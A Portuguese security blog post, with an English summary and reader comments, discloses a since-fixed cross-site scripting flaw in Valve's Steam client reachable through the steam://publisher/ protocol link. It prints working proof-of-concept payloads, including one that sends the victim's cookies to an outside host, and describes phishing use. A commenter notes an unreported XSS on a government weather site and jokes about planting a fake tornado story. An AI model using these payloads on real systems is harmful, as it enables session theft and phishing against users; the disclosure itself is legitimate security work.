
Abaixo, irei exibir detalhes da falha que descobri no início deste mês no software Steam, da Valve Corporation. Trata-se de um dos softwares mais utilizados para distribuição de games para PC pela Internet. Recomendo que faça o download do relatório completo, pois o conteúdo deste post é apenas um resumo do trabalho publicado em pdf.
Download do relatório completo da falha em PDF > Clique Aqui.
Assista o Vídeo com a demonstração e a explicação da falha > Clique Aqui
———————-
Esta falha já foi corrigida. Detalhes neste post.
Descrição da falha:
Um site na internet pode forçar, pelo navegador da vítima, a execução do Steam Protocol (steam://) fazendo com que, na aba Steam Store, seja aberto um link vulnerável a cross-site script da steam store (http://store.steampowered.com). É possível executar Java Script, e com isso obter o cookie do usuário, os aplicativos associados à conta, ou redirecionar a outra pagina sem que seja mostrado ao usuário que ele não se encontra mais na steam store (phishing).
Provas do Conceito:
obs.: Recomendo que baixe o .pdf do relatório, no início deste post. Ele possui explicações completas sobre as provas de conceito e maiores informações sobre a falha.
1- Executa alerta contendo a mensagem xss (Injeção de Java-Script):
steam://publisher/<img%20src=a%20onerror=alert(‘xss’)>
Caso esteja logado no STEAM, clique aqui para ver a execução do código acima.
Screenshot:

2- Redireciona usuário (no exemplo, para o www.falandodeseguranca.com):
steam://publisher/<img%20src=a%20 onerror=document.location.href=’http’+String.fromCharCode(58,47,47)+’falandodeseguranca.com’;>
Caso esteja logado no STEAM, clique aqui para ver a execução do código acima.
Outras informações:
É possível acessar o cookie do usuário e, por ele, ter conhecimento de todos os games instalados na conta.

Os números em InstalledApps são os AppIDs dos jogos na steam. A lista completa de IDs e seus respectivos jogos pode ser vista aqui.
Resumo em inglês (english):
===========================================
- Description -
===========================================
It’s possible to input JavaScript\HTML in Steam Store tab (inside Steam App.), using the Steam
Protocol (steam://) in a html page.
“steam://publisher/ Loads the specified publisher catalogue in the Store. Type the
publisher’s name in lowercase, e.g. activision or valve.”
When using a publisher name that doesn’t exist, Steam Store sends the value to the search
system, which is vulnerable to XSS.
Store tab in Steam doesn’t show the URL. Phishing is possible just redirecting the victim to
the fake site.
VALVE was contacted in May 10, but they didn’t reply anything (May 18).
Works in Internet Explorer 7.
Tested under Windows XP SP 3 and Windows Vista.
===========================================
- Proof of Concept -
===========================================
[1] Alert with text xss
steam://publisher/<img%20src=a%20onerror=alert(‘xss’)>
[2] PHISING (in this example, it redirects to falandodeseguranca.com )
steam://publisher/<img%20src=a%20 onerror=document.location.href=’http’+String.fromCharCode(58,47,47)+’falandodeseguranca.com’;>
[3] Getting cookies:
steam://publisher/<img%20src=a%20 onerror=document.location.href=’http’+String.fromCharCode(58,47,47)+’falandodeseguranca.com’+String.fromCharCode(47)+document.cookie;>
Dúvidas? Entre em contato comigo por gabriel <@> falandodeseguranca.com ou por comentários neste post.
Opá, nunca pensei nesse bug. Mais além desse site o site do governo de meteriologia também tem, so que não gosto de ficar relatando se quiser da uma olhada depois.
Obs: Fica nas noticias tem como você modificar, se você coloca-se que tinha um tornado vindo direto para SP, iria causar um caos total xD
Bom relato!
Fala aí, Daniel! Obrigado pela visita, cara. Na verdade, XSS é uma das falhas mais comuns na web. O site http://www.xssed.com registra essas falhas. Pode procurar por sites do proprio governo lá que você vai ver que existem muitos. O que torna o caso do STEAM algo de maior risco é o fato de poder pelo navegador, ativar um XSS dentro do programa STEAM.. e mais, como esta parte do programa STEAM não exibe a URL, isso pode ser usado para enganar usuários, pois os mesmos acreditarão estar navegando na página da steam store, quando ela pode ser a de um hacker executando o código…
Abraços, obrigado pelo comentário e volte sempre!